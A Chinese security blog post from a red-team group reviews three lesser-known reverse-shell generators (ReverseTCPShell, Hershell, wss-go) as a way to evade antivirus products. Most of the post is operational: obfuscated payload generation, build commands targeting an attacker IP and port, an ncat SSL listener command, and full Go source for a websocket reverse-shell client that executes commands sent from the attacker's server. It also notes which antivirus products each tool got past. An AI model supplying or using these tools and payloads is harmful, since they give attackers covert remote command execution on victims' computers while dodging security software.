几款小众而实用的远控软件
2021-12-17 17:59:00 Author: mp.weixin.qq.com(查看原文) 阅读量:35 收藏

众所周知在做红蓝对抗的时候不可或缺的工具便是shell生成器,我们耳熟能详的shell生成器,有CobaltStrike、msfconsole等,但是由于功能过于强大,且使用的人数比较多,这些著名的shell生成器所生成的shell特征已经被录入特征库,被各大厂商的杀毒软件和流量检测软件盯的相当紧,生成的shell可能刚上传这边就会报警。为了解决这种情况常见的有两种方案,一是工具二开,但对开发功底要求较高,二是选择小众、简单、但是免杀效果较好的shell生成软件,而本文将会给大家介绍ReverseTCPShellHershellwss-go这三款款功能较少,但是免杀效果较好的shell生成器。

系统版本:

  • Windows7 SP1 build 7601 x64

杀软版本:

  • Windows防火墙
  • 360杀毒正式版——5.0.0.8183
  • 腾讯电脑管家——15.1.22391.224
  • 火绒——5.0.64.3

ReverseTCPShell C2是一款使用powershell编写的反弹shell的工具,流量经过AES加密,payload可以通过ASCIIBXORBase64三种方式进行混淆,混淆后的Payload可绕过一些杀软的检测

image-20211209100526805

功能介绍:

- Modules   | -显示C2服务器模块

- Info      | -显示远程主机信息

- Upload    | -从本地主机上传文件到远程主机

- Download  | -从远程主机下载文件到本地主机

- Screenshot| -屏幕截图到从远程主机到本地主机

下载地址:https://github.com/ZHacker13/ReverseTCPShell

使用过程

工具下载以后,文件夹中会有一个名为ReverseTCP.ps1的文件,使用Powershell运行它

设置好本机ip和监听端口

image-20211209101230791

设置好ip和监听端口后,会提示让你选择混淆方式,这里我们选择Base64混淆方式(3种混淆方式都测试过,均能有效绕过杀软全家桶,根据个人喜好进行选择即可)

image-20211209101659317

混淆完毕后,生成两段payload,一段是针对powershell的一段是针对cmd的,payload生成完毕后,工具自动开启端口监听,将生成的payload,复制到靶机的cmd或者powershell中(一定要选择对应的payload),成功后,这边会反弹一个shell回来。

image-20211209130142231

能够执行命令,表示我们成功绕过了杀软全家桶。

使用Go语言编写的简单TCP反向shell生成器,使用TLS来保护通信,并提供证书公钥指纹锁定功能,防止流量拦截。

支持的系统如下:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD

因为是使用Go语言编写的,所以在使用之前需要先安装好go语言的环境

如果已经安装好go的环境这里可以直接跳过

Go语言环境安装(可跳过)

首先去官网下载go的安装包,下载对应系统的安装包,我这使用的是Mac OS,下载pkg安装包后,双击安装即可

然后在终端中依次输入如下命令

export GOROOT=/usr/local/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN
export GOPATH=$HOME/goph # (可选设置,建议有这个环境,后面会方便一些)
go version # 查看是否安装成功

使用

获取项目依赖:

go get github.com/lesnuages/hershell

在工作目录下获取项目,并生成证书:

git clone https://github.com/lesnuages/hershell.git
cd hershell
make depends

以windows为例,生成一个客户端:

make windows64 LHOST=xxx.xxx.xxx.xxx(攻击机ip) LPORT=xxxx(攻击机端口)

各种系统生成客户端的命令如下:

  • Windows
# 32位系统
make windows32 LHOST=xxx.xxx.xxx.xxx LPORT=xxxx
# 64位系统
make windows64 LHOST=xxx.xxx.xxx.xxx LPORT=xxxx
  • Linux
# 32位系统
make linux32 LHOST=xxx.xxx.xxx.xxx LPORT=xxxx
# 64位系统
make linux64 LHOST=xxx.xxx.xxx.xxx LPORT=xxxx
  • MacOS
make macos LHOST=xxx.xxx.xxx.xxx LPORT=xxxx

GitHub项目里所给的教程里到这里就生成成功了,但是在编译的过程中会出现问题,需要通过报错,去调整依赖包,从而将依赖包的路径和文件配置中的路径相匹配,完成编译。

将生成的hershell.exe文件放到靶机里,刚拷贝过去,还没等运行它无了。。。。后来经过排查发现,能够绕过Windows防火墙、火绒、电脑管家,但是终究还是逃不过360杀毒。。。于是乎,我把360杀毒给关了。

然后可以使用一些程序开始进行监听,官方给出的有这些程序:

  • socat
  • ncat
  • openssl server module
  • metasploit multi handler

建议使用ncat,安装nmap即可拥有

在刚才编译hershell.exe的目录下执行命令

ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp xxxx #xxxx为攻击机的端口,一定注意要跟前面编译的端口一样

在虚拟机中运行hershell.exe,这边拿到shell

其他的几种方法,socat一直处于报错状态,无法进行测试。

至于metasploit multi handler,需要搭配ncat或socat拿到shell以后再传给metasploit multi handler,而且经过测试,互传shell失败,截至目前能成功拿到shell的只有ncat

简介

一款使用Golang编写的Websocket with SSL的反向Shell,支持跨平台,适用于Windows、Linux和MacOS,使用Websocket进行通信,并使用SSL证书进行加密。

特性

  • 握手阶段使用的是HTTP协议,所以在握手过程中不容易阻塞,可以通过各种HTTP代理服务器。
  • 使用SSL证书进行加密。
  • 数据格式相对轻量,性能开销小,通信高效隐蔽。

免杀效果

能够绕过电脑管家、火绒以及微软自带的防火墙,但是无法绕过360杀毒

使用流程

跟前面提到的HerShell一样,因为是使用Go语言进行编写的,所以使用之前要保证已经安装好Go语言的环境,这里就不进行赘述了。

首先需要编译两个执行文件,一个客户端的,一个服务端的。

客户端文件(client)是后续放在我们的被攻击机中,服务端文件(server)放在我们的攻击机上。

下载好文件,首先需要修改一下client/client.go文件中的ip地址

package main

import (
 "crypto/tls"
 "flag"
 "github.com/gorilla/websocket"
 log "github.com/sirupsen/logrus"
 "net/url"
 "os"
 "os/exec"
 "strings"
)

var (
 addr = flag.String("addr""localhost:443""")
)

func init() {
 //log.SetFormatter(&log.JSONFormatter{})

 log.SetOutput(os.Stdout)

 //log.SetLevel(log.WarnLevel)
 log.SetLevel(log.InfoLevel)
}

func main() {
 flag.Parse()

 tlsConfig := tls.Config{
  InsecureSkipVerify: true,
 }
 dial := websocket.Dialer{TLSClientConfig: &tlsConfig}

 u := url.URL{Scheme: "wss", Host: *addr, Path: "/"}
 log.Printf("connecting to %s", u.String())

 c, _, err := dial.Dial(u.String(), nil)
 if err != nil {
  log.Fatalln(err)
 }
 defer c.Close()

 for {
  _, message, err := c.ReadMessage()
  if err != nil {
   log.Fatalln(err)
  }
  cmdList := strings.Split(string(message), " ")
  cmd := exec.Command(cmdList[0], cmdList[1:]...)

  out, err := cmd.Output()
  err = c.WriteMessage(websocket.TextMessage, out)
  if err != nil {
   log.Fatalln(err)
  }

 }
}

将代码中的localhost改为攻击机的ip地址

在项目所在目录输入如下命令分别对攻击机文件和被攻击机文件进行编译

# windows系统
go env -w GOOS=windows
# 编译攻击机文件
go build -o wssServer server/server.go
# 编译被攻击机文件
go build -o wssClient.exe -ldflags -H=windowsgui -ldflags "-s -w" client/client.go

#
 MacOS/Linux系统
go env -w GOOS=darwin/linux
# 编译攻击机文件
go build -o wssServer server/server.go
# 编译被攻击机文件
go bulid -o wssClient client/client.go

编译完毕后,文件分别上传到攻击机和被攻击机中,在终端中分别运行对应文件,成功弹回shell证明我们成功绕过腾讯电脑管家和火绒。

image-20211217092057912
image-20211217090412563

参考链接:

https://www.cnblogs.com/2rsh0u/p/12657962.html

https://www.cnblogs.com/-mo-/p/12238063.html

https://github.com/ZHacker13/ReverseTCPShell

https://github.com/sysdream/hershell

https://github.com/lesnuages/hershell

https://github.com/piaolin/wss-go

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247493147&idx=1&sn=aceb2772a8fba6964a8f898332590f8d&chksm=ce5dc47af92a4d6ca634998d820d75bf2d16766e28000c95e1fccbd3588c260dbea737cc7a95#rd
如有侵权请联系:admin#unsafe.sh